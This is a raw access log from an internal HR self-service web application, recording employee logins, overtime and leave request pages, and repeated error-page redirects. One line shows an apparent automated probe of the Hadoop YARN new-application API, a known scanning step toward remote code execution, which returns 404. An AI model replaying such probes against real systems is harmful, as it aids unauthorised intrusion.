/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:40:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:40:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:19:01:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:01:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:19:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:19:01:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:01:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:19:02:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:02:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [04/Dec/2025:19:02:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:02:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [04/Dec/2025:19:02:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:02:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:19:02:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:02:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166127 192.168.11.60 - - [04/Dec/2025:19:02:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:02:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 100.64.0.1 - - [04/Dec/2025:19:07:38 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [04/Dec/2025:19:07:38 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.133.93 - - [04/Dec/2025:19:13:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:13:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.133.93 - - [04/Dec/2025:19:13:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:13:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.133.93 - - [04/Dec/2025:19:14:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.133.93 - - [04/Dec/2025:19:14:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.133.93 - - [04/Dec/2025:19:14:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16545 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16545 192.168.133.93 - - [04/Dec/2025:19:14:17 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 4995 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:17 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 4995 192.168.133.93 - - [04/Dec/2025:19:14:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 216985 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 216985 192.168.133.93 - - [04/Dec/2025:19:14:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:31 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132737%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132737&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132737%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132737&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:34 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 